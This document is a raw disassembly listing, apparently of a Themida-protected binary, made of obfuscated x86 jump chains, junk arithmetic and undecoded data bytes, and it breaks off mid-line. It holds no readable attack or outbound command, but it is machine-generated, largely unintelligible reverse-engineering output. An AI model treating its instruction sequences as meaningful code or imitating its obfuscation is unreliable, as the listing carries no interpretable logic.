0EC835702h, 24248904h, 4240483h, 8F78E95Fh dd 0EA81FFFFh, 4, 0FFCAF7E9h, 0AC0405FFh, 0C101DFCBh, 4E98158h dd 87000000h, 248B240Ch, 24248924h, 0FFB16CE9h, 81E389FFh dd 4C3h, 0D0CFE900h, 5450FFFFh, 4BE5658h, 1000000h, 7E95EF0h dd 66FFFFD3h, 5024048Bh, 5653E089h, 0A62ADBBEh, 0F7D6F74Eh dd 10C681DEh, 81BBEB2Fh, 7F2803C6h, 81C68104h, 0C1437DC7h dd 0E0E908E6h, 66FFFFC5h, 0E829665Dh, 242C8B66h, 327668h dd 240C8900h, 0FF94C3E9h, 4EDC1FFh, 604CED81h, 0EB89AE4Ah dd 30DD2D5Dh, 0CB2D006Dh, 1312A67h, 67CB05D8h, 0F1E9312Ah dd 0FFFFFFD0h, 8434E930h, 34FFFFFFh db 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_556AAD ; --------------------------------------------------------------------------- dw 0E3C0h dd 82EB8004h, 4D9F380h, 865AE992h, 8952FFFFh, 3725E9E2h dd 15A0000h, 0D4C581DDh, 5B426B5Eh, 0FFF3F5E9h, 2EC81FFh dd 66000000h, 66242489h, 2BE6656h, 0E9516600h, 0FFFFEAE2h ; --------------------------------------------------------------------------- loc_55C4E4: ; CODE XREF: Themida_:005550ADj push eax mov eax, esp add eax, 4 push ecx jmp loc_559774 ; --------------------------------------------------------------------------- dw 489h dd 0C3E1E924h, 34FFFFFFh, 86685824h, 89000014h, 0E189240Ch dd 0FFEA95E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C50D: ; CODE XREF: Themida_:0055B3F9j mov [esp], ebx push ebx mov ebx, 3D745F78h add [esp+4], ebx pop ebx pop ebp sub ebp, 3D745F78h jmp loc_55DF6C ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C8700h, 0E924248Bh, 0FFFFD68Ch, 89243C89h dd 8B668E7h, 2C890000h, 546C6824h, 14890000h, 7F85BA24h dd 7FBD7B1Fh, 184E080h, 24148BD5h, 81E38953h, 4C3h, 0F7D1E900h dd 8B5BFFFFh, 0C4812404h, 4, 8BE8305Bh, 0C481240Ch, 4 dd 1BB3E9h, 0E9E18900h, 2EA3h, 46E68146h, 813E8670h, 0FFFFFFEEh dd 0C3C681FFh, 1C17DCFh, 22DE9F2h, 0BF570000h, 7A051958h dd 0FF95C8E9h, 40558FFh, 0E9000000h, 27D3h ; --------------------------------------------------------------------------- loc_55C5BC: ; CODE XREF: Themida_:00558455j ; Themida_:0055EB5Fj push esi sub esp, 4 mov [esp], ebx jmp loc_558CCC ; --------------------------------------------------------------------------- db 21h dd 240C8BCAh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 4BA7B850h dd 0F1E965FCh, 29000035h, 696F68D8h, 34890000h, 27DBBE24h dd 0E94E3CC4h, 3176h, 242667BBh, 0DB34E904h, 0C181FFFFh dd 4, 4C181h, 0FF510000h, 59042474h, 0E924048Fh, 3E4Ch dd 0C681C601h, 0AA221Bh, 5C3EE81h, 48B1BADh, 0E7895724h dd 4C781h, 0C7810000h, 4, 0E9243C87h, 824h, 81241C8Bh dd 4C4h, 2434FF00h, 0E9240C8Bh, 38D9h, 0E932FF66h, 0FFFF8266h dd 0C188D088h, 3BD6858h, 14890000h, 88CE8824h, 24148BF7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push eax mov eax, 4 jmp loc_560714 ; --------------------------------------------------------------------------- dd 0BD242C89h, 4, 2C8BEE01h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] pop esp sub edx, 1749703Fh add edx, 41590B03h add edx, eax push eax mov eax, 425B1AD9h shl eax, 2 add eax, 37EC9F9Fh sub edx, eax jmp loc_55954F ; --------------------------------------------------------------------------- loc_55C6D7: ; CODE XREF: Themida_:0055B794j mov eax, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 jmp loc_55DEED ; --------------------------------------------------------------------------- db 1, 0DEh, 5Bh dd 4C681h, 34330000h, 24343124h, 5C243433h, 0FF2434FFh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 41C0h jmp loc_560C38 ; --------------------------------------------------------------------------- dd 16AA68h, 0A196E900h, 5C68FFFFh, 89000062h, 7FE9240Ch db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C72B: ; CODE XREF: Themida_:005571A3j pop esp shr eax, 2 sub eax, 7B77EEDh sub esp, 4 mov [esp], ecx push ebx mov ebx, 17B36D54h push esi mov esi, 4CAE107Bh sub esi, 1D61A963h jmp loc_55D094 ; --------------------------------------------------------------------------- db 5Ch, 0FFh, 34h dd 240C8B24h, 5704C483h, 0C7815F54h, 4, 0FFBD88E9h db 0FFh ; --------------------------------------------------------------------------- loc_55C769: ; CODE XREF: Themida_:0055B850j push edi mov edi, 32F71D04h sub edi, 4B4D6EA9h sub edi, 44C301DDh push ebx jmp loc_5579FA ; --------------------------------------------------------------------------- db 51h, 0B9h, 36h dd 89298D18h, 0F53159CEh, 7CBA525Eh, 0E918C355h, 0FFFFB0E3h dd 89EA8952h, 0F8895AD7h, 0C1015D5Fh, 240C3358h, 33240C31h dd 248B240Ch, 14EEE924h, 0CDFE0000h, 105DE9h, 4BD5500h dd 0E9000000h, 0FFFFACACh, 5258C328h, 41E95166h, 8BFFFFDBh dd 0C4832434h, 2C28304h, 0FF900BE9h, 8BF529FFh, 1DE92434h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C7EB: ; CODE XREF: Themida_:0055D0E8j pop edx mov bl, ch jmp loc_55F4B8 ; --------------------------------------------------------------------------- loc_55C7F3: ; CODE XREF: Themida_:00558804j push ecx jmp loc_55C135 ; --------------------------------------------------------------------------- db 49h, 81h, 0C1h dd 1D3DBD78h, 2D59C821h, 4D02A12h, 3DBE5655h, 896EC940h dd 0E8215EF5h, 0FF860FE9h, 242489FFh, 4240483h, 8324048Fh dd 5A042404h, 4C281h, 0C2810000h, 4, 31241433h, 0B6E92414h dd 54000020h, 0FF2434FFh, 835A2434h, 895104C4h, 4C181E1h dd 57000000h, 0E76541BFh, 0AEF78157h, 68506E3Ch, 0 dd 5F243C29h, 22E8E781h, 0F7817BC4h, 0F7C1C5Dh, 0A8C7814Fh dd 188C7C1h, 139FE9F9h, 0FE5C0000h, 0E99C2404h, 0FFFF8042h dd 20BEC180h, 0E0C059C8h, 28BD3403h, 24048BC3h, 0C5B7E955h dd 2504FFFFh, 252CE800h, 1C8B5966h, 0E3895324h, 4C381h dd 0C3810000h, 4, 0E9241C87h, 3EB8h ; --------------------------------------------------------------------------- loc_55C8C4: ; CODE XREF: Themida_:0055C08Dj xchg ebp, [esp] pop esp sub ebp, 27442AD7h add ebp, eax add ebp, 27442AD7h pop eax add ebp, 2 xor ebp, [esp] jmp loc_5577B2 ; --------------------------------------------------------------------------- db 1, 0C2h, 68h dd 6BF4h, 0FFE34DE9h, 59CD01FFh, 0E3C6850h, 3C890000h dd 74EFBF24h, 68555A66h, 5A0126A6h, 0B2ED815Dh, 0E95FDE55h dd 0FFFFBDA6h, 15BD831h, 24048BC7h, 4C481h, 3C870000h dd 34E95C24h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55C92B: ; CODE XREF: Themida_:00557C7Bj mov esp, [esp] mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], edx push eax pushf jmp loc_5548CE ; --------------------------------------------------------------------------- dd 8B240C87h, 7FE92424h, 81FFFF7Fh, 372445F7h, 0E9F80125h dd 1130h, 0E92434FFh, 0FFFF8FDEh, 3C8BFD01h, 0E1895124h dd 4C181h, 0C1830000h, 0D9CCE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C97A: ; CODE XREF: Themida_:00556451j mov ebp, [esp] add esp, 4 jmp loc_560076 ; --------------------------------------------------------------------------- dd 4AB0F66h, 3BE99C24h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C993: ; CODE XREF: Themida_:0055496Cj xor esi, [esp] mov esp, [esp] jmp loc_5548CE ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 0A515E9DDh, 3487FFFFh, 24248B24h, 2424D366h dd 7F14E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55C9BA: ; CODE XREF: Themida_:0055E173j push 2754h mov [esp], ebx push 34317697h mov ebx, [esp] add esp, 4 xor ebx, 34317497h jmp loc_555D0F ; --------------------------------------------------------------------------- dd 0F34FAC05h, 2DF0010Fh, 0FF34FACh, 241C8B5Eh, 3697E9h db 0 ; --------------------------------------------------------------------------- loc_55C9ED: ; CODE XREF: Themida_:005598ACj pop eax jmp loc_55DD59 ; --------------------------------------------------------------------------- db 0BDh dd 4, 4246C01h, 0FFCE0DE9h, 7C6859FFh, 89000036h, 2C81242Ch dd 0FD1AE524h, 0C181595Eh, 5EFD1AE5h, 0FFC9B2E9h, 0E9132CFFh dd 0FFFFB28Ch, 0B9240C89h, 73E1232Eh, 9FBD5549h, 3111B51Ch dd 0C8015DE9h, 83240C8Bh, 0D02904C4h, 0FFC5D7E9h, 4BEFFh dd 0F0010000h, 4070E9h db 0 ; --------------------------------------------------------------------------- loc_55CA51: ; CODE XREF: Themida_:00555BFBj push esi mov esi, 1F6B3DF6h neg esi and esi, 71C72D16h jmp loc_55CA80 ; --------------------------------------------------------------------------- dd 0E18021B1h, 0BB9BE9C2h, 0D001FFFFh, 2DD8295Ah, 10252651h dd 0E9241C8Bh, 0FFFF9AEBh ; --------------------------------------------------------------------------- loc_55CA80: ; CODE XREF: Themida_:0055CA5Fj sub esi, 52E7D1C3h xor edi, esi pop esi push 334Ah mov [esp], esi push 360533EAh pop esi push edx mov edx, 174E1CFBh inc edx shl edx, 5 neg edx push edi mov edi, 1F733CCDh sub edx, edi mov edi, [esp] add esp, 4 not edx sub edx, 5B0297BAh sub esi, edx pop edx sub edi, 1B471464h add edi, esi add edi, 1B471464h mov esi, [esp] add esp, 4 and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 7 jmp loc_557F01 ; --------------------------------------------------------------------------- loc_55CAE6: ; CODE XREF: Themida_:00555F63j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 728F3623h shl edx, 8 xor edx, 8F362304h push edi mov edi, edx jmp loc_556351 ; --------------------------------------------------------------------------- db 51h dd 0FFDFDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB15: ; CODE XREF: Themida_:00556672j push 9739F9E6h jmp loc_55E25D ; --------------------------------------------------------------------------- db 0C1h dd 0F58104EDh, 0C6F4D23h, 7DC8CD81h, 814546FFh, 0A65540EDh dd 49C58111h, 1C2A6D7h, 0C6835DEEh, 24348704h, 37EE95Ch dd 0C1810000h, 0EB5D2D11h, 0E6E9CB01h, 0FF00000Fh, 68582434h dd 6459h, 0FFC9CBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55CB65: ; CODE XREF: Themida_:0055DD5Bj mov edx, 6B9E0740h xor edx, 1DEA5463h jmp loc_5564F9 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0E7h dd 290017AEh, 0CF015DE9h, 2C78359h, 8904EC83h, 74FF243Ch dd 3C8B0424h, 0E3895324h, 4C381h, 0BE560000h, 1532732h dd 0EE81EED1h, 356C3854h, 0D6F7DEF7h, 0A4C0C681h, 0F30134C2h dd 0FF8C82E9h, 50525EFFh, 0F61D1B8h, 0C6AABA23h, 0C2296560h dd 0FFAC1FE9h, 0BEFFh, 0FE290000h, 815EF789h, 4B7036C7h dd 5FF801CAh, 7D76C381h, 25E94DF5h, 83FFFF9Dh, 48704C0h dd 0F5815C24h, 2E9109FFh, 8FE9EE89h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CBFF: ; CODE XREF: Themida_:005568EFj sub esi, 49E65B49h sub ecx, esi pop esi push 3E2h mov [esp], ebp mov ebp, 42C07AFDh and ebp, 552D045Fh neg ebp jmp loc_555C32 ; --------------------------------------------------------------------------- dw 8F5Ah dd 248B2404h, 9CC83B24h, 0FF7C9DE9h, 0C0B60FFFh, 0E98734FFh dd 0FFFF7C92h, 0BA241489h, 729A3A9Bh, 9A3A9FBEh, 5AD63172h dd 4247401h, 2434FF5Eh, 5124148Bh, 2BA2E9h db 0 ; --------------------------------------------------------------------------- loc_55CC5D: ; CODE XREF: Themida_:0055B975j push dword ptr [esp] push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_55D5AE ; --------------------------------------------------------------------------- dd 48E95358h db 0CBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CC7F: ; CODE XREF: Themida_:005589F6j pop ebp sub esp, 4 mov [esp], edi mov edi, 4 add ebp, edi push dword ptr [esp] pop edi jmp loc_558622 ; --------------------------------------------------------------------------- dw 0BAh dd 1000000h, 8B0A8BDAh, 0C4812414h, 4, 0A89CE95Bh, 515DFFFFh dd 4B9h, 59CD0100h, 0E904C583h, 2EC5h, 4A0BE181h, 0E9816686h dd 5AB26219h, 0E9D1F741h, 215Dh ; --------------------------------------------------------------------------- loc_55CCD4: ; CODE XREF: Themida_:00558A36j pop esi add esi, 4 push ebx jmp loc_55FCA7 ; --------------------------------------------------------------------------- db 51h, 52h, 88h dd 5AD188E2h, 8B59CF88h, 0C4812404h, 4, 5B66FD30h, 0C8BE830h dd 29E95324h, 5AFFFFC1h, 0E952FB01h, 0FFFFFF8Ah ; --------------------------------------------------------------------------- loc_55CD0C: ; CODE XREF: Themida_:0055ACDDj xor ecx, 730B2DB1h add ecx, 9014BD86h jmp loc_55E9A9 ; --------------------------------------------------------------------------- db 66h, 1, 5Ch dd 5B660424h, 24348B66h, 0E902C483h, 0FFFF7B9Eh, 13D2E781h dd 0C7811C8Bh, 0FFFFFFFFh, 34B3E9h, 18E95800h, 0E9FFFFDCh dd 0FFFF7B82h, 0F381FB87h, 3B5E20h, 1AD7BA52h, 0D3314BA7h dd 0E4C3815Ah, 0F76B5008h, 0FCB951D3h, 0F72C8C5Ah, 0E4E181D9h dd 0F707D47Ah, 3A62E9D9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55CD7A: ; CODE XREF: Themida_:0055E679j add ebp, 4 xchg ebp, [esp] pop esp jmp loc_558ECD ; --------------------------------------------------------------------------- db 0C0h, 0ECh, 7 dd 8005F480h, 0B6E96AF4h, 1FFFF99h, 55E95EF1h, 89FFFFCBh dd 97E92404h, 33000027h, 3C31243Ch, 243C3324h, 48B665Ch dd 0ABE95124h, 55FFFFD2h, 645FB2BDh, 8BEB316Eh, 29E9242Ch dd 0E9000017h, 0FFFF7AFEh, 27866855h, 0E95D1C37h, 0FFFFEA8Dh dd 0BBB95153h, 0BB389148h, 3D0C7FFAh, 165BE381h, 29E9721Ah db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CDF3: ; CODE XREF: Themida_:00554CF4j pop esp push ecx jmp loc_555C10 ; --------------------------------------------------------------------------- dw 77FFh dd 59669D1Ch, 2414D366h, 7AC4E99Ch, 5068FFFFh, 89000019h dd 6FE9242Ch, 50FFFF7Dh, 660E9h, 0BE565700h, 1F9548BEh dd 3D1AC681h, 6E9021Dh, 0BBFFFFA1h, 2EC1347Ah, 2D32E950h dd 8B660000h, 27E9240Ch db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55CE43: ; CODE XREF: Themida_:0055E08Dj add esp, 4 shl esi, 7 shr esi, 2 shr esi, 5 jmp loc_554F21 ; --------------------------------------------------------------------------- db 0F7h dd 7EC781D7h, 0C10F372Ch, 0F78105EFh, 3F44F718h, 0E95FFA01h dd 0FFFFFA75h, 316AE95Ch, 0C4680000h, 0E9000014h, 0FFFF7E95h dd 60AB68h, 242C8900h, 0C581E589h, 4, 0E904C583h, 0FFFFA1F6h dd 0B5516658h, 0B450517Bh, 58E588C1h, 59EA28h, 2432E9EAh dd 0E9570000h, 698h, 240C8B66h, 4EC81h, 2C890000h, 0E95D5424h dd 0FFFFF19Eh, 0FF7A01E9h db 0FFh ; --------------------------------------------------------------------------- loc_55CECD: ; CODE XREF: Themida_:00555626j mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_5548CE ; --------------------------------------------------------------------------- dd 4BAh, 2BE98100h, 1586F49h, 0EE2FE9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55CEF2: ; CODE XREF: Themida_:0055E881j add esp, 4 push eax jmp loc_55FAF6 ; --------------------------------------------------------------------------- dw 0CD89h dd 8B5DEA89h, 0CB68240Ch, 89000061h, 0E954242Ch, 3565h ; --------------------------------------------------------------------------- loc_55CF14: ; CODE XREF: Themida_:0055D417j sub ah, 27h sub bl, 0B9h sub bl, 2Bh jmp loc_55B951 ; --------------------------------------------------------------------------- dw 2568h dd 89000003h, 0EC812434h, 4, 24048F54h, 4240481h, 5E000000h dd 4C681h, 52550000h, 644DF5BAh, 0B20FBD1Dh, 0D501E29Bh dd 0E924148Bh, 0FFFFA5B9h, 0C006EAC0h, 0EA8003EAh, 7BB25272h dd 0F68DC280h, 5C9E9DAh, 0C4830000h, 4C48104h, 68000000h dd 2CBEh, 0E9240489h, 0FFFFEB57h, 0D31ED81h, 0E889C8BAh dd 9166E95Dh, 5753FFFFh, 2BFh, 0E9FB8900h, 0FFFF7FD2h ; --------------------------------------------------------------------------- loc_55CFA0: ; CODE XREF: Themida_:00557FD7j mov [esp], esi push 4A63h mov [esp], edi add dword ptr [esp], 60070082h mov esi, [esp] add esp, 4 jmp loc_5558F0 ; --------------------------------------------------------------------------- db 2Ch, 0D6h, 51h dd 0C6E97FB1h, 5F000028h, 7094BD55h, 0E5C12C69h, 1EBF5702h dd 21205104h, 0D5F75FFDh, 0B1E8C581h, 0EF29780Ah, 0B481E95Dh dd 2FB8FFFFh, 0E9255442h, 178Fh, 33241C31h, 0E95C241Ch dd 0FFFFCE8Bh, 70E95957h, 5AFFFF7Ch, 31240433h, 4332404h dd 24248B24h, 6824048Bh, 726Eh, 2FA1E9h, 70EE8100h, 0E911025Ch dd 0FFFFA04Eh ; --------------------------------------------------------------------------- loc_55D02C: ; CODE XREF: Themida_:00560539j mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] pop esp loc_55D038: ; CODE XREF: Themida_:0055698Aj push edi mov edi, ebx jmp loc_55D593 ; --------------------------------------------------------------------------- aFqY db 'fQµY',0 db 0E8h, 66h, 59h dd 0FFC259E9h, 2BFFFh, 0E9810000h, 1AE80F7Dh, 5AE9F901h dd 0BBFFFFEAh, 4, 875BDD29h, 895C242Ch, 0B0BE2434h, 815C556Eh dd 86135FEEh, 0B1C2D01h, 0BA5250FEh, 32381283h, 0E95AD029h dd 0FFFF82FAh, 0E955E789h, 0FFFFCE8Ch ; --------------------------------------------------------------------------- loc_55D094: ; CODE XREF: Themida_:0055C74Cj xor ebx, esi pop esi shl ebx, 3 jmp loc_55A79B ; --------------------------------------------------------------------------- loc_55D09F: ; CODE XREF: Themida_:0055C1D6j push 6B31h mov [esp], ebp push 0E3Dh mov [esp], ecx push edi push 663E51C9h mov edi, [esp] add esp, 4 add edi, 0D5A5277Ch mov ecx, edi push dword ptr [esp] jmp loc_55730B ; --------------------------------------------------------------------------- loc_55D0CE: ; CODE XREF: Themida_:0055F1E8j mov bl, 37h or ch, bl pop bx shl ch, 8 push edx mov dl, 33h shl dl, 7 neg dl neg dl dec dl add dl, 7Bh add ch, dl jmp loc_55C7EB ; --------------------------------------------------------------------------- db 53h, 0BBh, 7Fh dd 21323414h, 96E95BDAh, 68FFFFDFh, 3348h, 0FFF1F2E9h dd 0C8B66FFh, 2BE95624h, 81FFFFE4h, 5859F8F7h, 2FCF8130h dd 0E971E00Eh, 0FFFFDD88h, 5066CB00h, 0E300E4B4h, 50595866h dd 0ECC02BB4h, 0C0D4F605h, 0C4FE05E4h, 0FF8DE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D13D: ; CODE XREF: Themida_:0055E44Aj pop esp jmp loc_554BBF ; --------------------------------------------------------------------------- db 52h dd 0A26A568h, 0A1E4E96Dh, 0F752FFFFh, 0F75A2414h, 0C3C281D2h dd 1A521D5h, 0E0C15AD0h, 407C0505h, 0F8E9531Dh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D16B: ; CODE XREF: Themida_:0055F7CBj push 641Eh jmp loc_555049 ; --------------------------------------------------------------------------- db 1, 0D3h, 51h dd 0FFD9FFE9h, 308C2DFFh, 1C8B73E3h, 0B5F0E924h, 0BD55FFFFh dd 4F8C52C0h, 0C221FA05h, 0CAE95577h db 0Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D19B: ; CODE XREF: Themida_:0055BF10j push ebx mov ebx, 7A235E1Ch add eax, ebx pop ebx mov edi, [esp] add esp, 4 xchg eax, [esp] pop esp mov [esp], edi dec dword ptr [esp] pop edi sub edi, 500B65C0h and eax, edi mov edi, [esp] add esp, 4 shr eax, 18h xor eax, ecx push 587Dh mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi xchg eax, esi not eax jmp loc_55D522 ; --------------------------------------------------------------------------- dd 9C241CF6h, 0FF76E1E9h, 2CBD55FFh, 81420B71h, 0C9299CF5h dd 0D3E58117h, 81148145h, 80408CEDh, 0BED4E914h, 0C483FFFFh dd 8BC70104h, 0C4812404h, 4, 8704C783h, 0BDE9243Ch, 81FFFFCEh dd 0EC78B4F5h, 8BEA01FFh, 0C483242Ch, 74FF5204h, 8F5A0424h dd 0BBE92404h db 90h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D23F: ; CODE XREF: Themida_:005586ADj inc edx sub edx, 0AE9F379Ah xor edx, esi pop esi and ecx, edx mov edx, [esp] add esp, 4 shr ecx, 0 or eax, eax jz loc_560B20 push ebp push esp pop ebp push ecx jmp loc_5595D9 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 628268h, 24248900h, 4240483h, 4CBE9h, 0C3E95400h, 0BB000006h dd 0CE13EF0Eh, 0E95BD929h, 75Ch, 57242C8Bh, 19E9E789h dd 81FFFFDCh, 4C4h, 5BEE8100h, 687BE32Eh, 1DC9h, 5D243489h dd 4EC815Eh, 0E9000000h, 0FFFF8C5Fh, 77E9D889h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D2BF: ; CODE XREF: Themida_:00557758j sub ebx, 0BAA4171h xor eax, ebx jmp loc_556F5A ; --------------------------------------------------------------------------- dd 0FF241489h, 0E9042474h, 181Bh ; --------------------------------------------------------------------------- loc_55D2D8: ; CODE XREF: Themida_:0055F830j add ebx, eax add ebx, 705154B3h push ebp jmp loc_55A825 ; --------------------------------------------------------------------------- dw 17B5h dd offset dword_59EB00 dd 17EB80EBh, 129FE9h, 73C06800h, 3C890000h, 24048B24h dd 4C481h, 34FF0000h, 92E95F24h db 0DDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D30F: ; CODE XREF: Themida_:0055ABB5j mov esi, 68C57E5Ch push 997F8BD0h pop ebp jmp loc_55B97A ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 4EC81h, 43E90000h, 5D000016h, 0D8BB535Fh dd 0E9618E79h, 0FFFFE3E2h, 8107EDC1h, 545C69CDh, 0DFED8171h dd 8177B07Eh, 6BCB7CF5h, 5DEB21C9h, 456AEB81h, 0F3812A24h dd 9C4FCED9h, 2651BA52h, 0FFE91025h, 5CFFFFF6h, 0FFB1DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_55D375: ; CODE XREF: Themida_:00558D9Cj shr edx, 1 dec edx shr edx, 7 not edx not edx jmp loc_555449 ; --------------------------------------------------------------------------- dd 0EDC1D5F7h, 0FCF58108h, 8100BDAFh, 10147CC1h, 0E9E9016Fh dd 0FFFFD7FAh, 8124048Bh, 4C4h, 0FF545600h, 348B2434h dd 4C48324h, 6804C483h, 1CDBh, 0E9241C89h, 0FFFF9330h dd 4BA3E981h, 0CE892781h, 8EEC159h, 7E2368h, 24348900h dd 8B2414F7h, 8E682434h, 8900003Dh, 5B54241Ch, 19AEE9h dd 5AD18800h, 37E9CB00h, 8100000Bh, 4C6h, 0A7E95000h, 50FFFFF1h dd 42474FFh, 24048F58h, 0C89665Ch, 8323E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D412: ; CODE XREF: Themida_:0055995Cj mov ah, 45h add ah, 0FFh jmp loc_55CF14 ; --------------------------------------------------------------------------- dd 52240489h, 4BAh, 5AD08900h, 60DE9h, 2434FF00h, 582434FFh dd 4C481h, 9E90000h, 66000013h, 50240C89h, 0EC80F6B4h dd 76DAE92Eh, 285CFFFFh, 557F68D8h, 0C890000h, 0E9515024h dd 0FFFF8E41h, 5155515Bh, 0FFA4C7E9h, 4C481FFh, 30000000h dd 1C32241Ch, 241C3024h, 0FF7451E9h, 7684B8FFh, 5481E3Dh dd 272ED32Bh, 0FF7485E9h, 5FF801FFh, 42Dh, 24043300h, 33240431h dd 895C2404h, 0DEBE2434h, 0E97D1373h, 0FFFFF52Ch, 5C29B951h dd 0E1812684h, 5E215F07h, 0FFFFE981h, 0F181FFFFh, 37DE58BAh dd 0EE2E9h db 0 ; --------------------------------------------------------------------------- loc_55D4C9: ; CODE XREF: Themida_:00557FAFj add ebp, edi pop edi push esi mov esi, 4 add ebp, esi mov esi, [esp] push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp xchg ebp, [esp] jmp loc_55F0ED ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFF9130h, 4C4815Bh, 66000000h, 66422968h dd 83241C89h, 148904ECh, 91B05024h, 8358C288h, 0C8904ECh dd 0F655B524h, 488E9D5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D522: ; CODE XREF: Themida_:0055D1DFj xchg eax, esi push 6427h mov [esp], esi push dword ptr [esp+4] mov esi, [esp] jmp loc_5579DD ; --------------------------------------------------------------------------- db 80h dd 4DE97FEAh db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D53F: ; CODE XREF: Themida_:0055E431j pop edx push ebp sub esp, 4 jmp loc_55ED3F ; --------------------------------------------------------------------------- dd 7E9AE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D552: ; CODE XREF: Themida_:00557F02j xor dword ptr [esp], 317A51A3h jmp loc_556B89 ; --------------------------------------------------------------------------- dw 1C89h dd 0CBB55124h, 47E9D5F6h, 81FFFFC1h, 0A00E11CEh, 0EE814605h dd 3BFA7177h, 34E9F301h db 0B9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_555623 ; --------------------------------------------------------------------------- loc_55D593: ; CODE XREF: Themida_:0055D03Bj push esi push ebx mov ebx, esp push edx push edi mov edi, 0FD32D0Ah mov edx, 0FD32D0Eh sub edx, edi pop edi add ebx, edx pop edx jmp loc_5572C7 ; --------------------------------------------------------------------------- loc_55D5AE: ; CODE XREF: Themida_:0055CC73j xchg ebp, [esp] pop esp add esp, 4 sub eax, 500F147Ch push dword ptr [edi+eax*4] jmp loc_55A61C ; --------------------------------------------------------------------------- dw 3C87h dd 24248B24h, 0E9240C89h, 20FFh, 5C240C87h, 0E9240C89h dd 0FFFFB0F9h ; --------------------------------------------------------------------------- loc_55D5DC: ; CODE XREF: Themida_:005571C7j add esp, 4 mov dl, cl pop ecx jmp loc_55F754 ; --------------------------------------------------------------------------- loc_55D5E7: ; CODE XREF: Themida_:0055BE69j xor ebx, 2AFC68C8h jmp loc_55B3F4 ; --------------------------------------------------------------------------- dw 3358h dd 3C31243Ch, 243C3324h, 0BE0F665Ch, 0F4E9C8h, 14870000h dd 0F6E95C24h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D60F: ; CODE XREF: Themida_:0055F4BCj add bl, 0FFh neg bl push 4234h mov [esp], eax mov ah, 23h jmp loc_559C22 ; --------------------------------------------------------------------------- db 57h dd 205338BFh, 0DA80E90Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D62E: ; CODE XREF: Themida_:00555C5Aj pop esp push 1DD4h mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp or eax, eax jnz loc_55B0F1 push 1 jmp loc_55E42E ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48324h, 0FFEFADE9h, 4C483FFh, 0E95BD889h, 1B0Dh, 0F724248Bh dd 0EC8151E9h, 4, 0E904EC83h, 733h ; --------------------------------------------------------------------------- loc_55D67C: ; CODE XREF: Themida_:005606AFj shr edx, 1 cmp eax, edx jz loc_5556CE push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5573BA ; --------------------------------------------------------------------------- dw 0EB81h dd 86950F81h, 0F75BDD01h, 8B14E9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D6AA: ; CODE XREF: Themida_:0055B11Ej mov [esp], edi push ecx mov ecx, 1D2320E1h mov edi, ecx mov ecx, [esp] add esp, 4 sub edi, 6F0F0085h push esi mov esi, 2076549Ah neg esi shl esi, 4 neg esi jmp loc_55ED36 ; --------------------------------------------------------------------------- loc_55D6D6: ; CODE XREF: Themida_:005563CFj mov esp, [esp] jmp loc_5572E8 ; --------------------------------------------------------------------------- loc_55D6DE: ; CODE XREF: Themida_:00554BC5j add ebp, 4 add ebp, 4 jmp loc_560B14 ; --------------------------------------------------------------------------- dd 5E08950h, 4, 1F1DE953h, 68660000h, 8966106Eh, 0C7E9240Ch dd 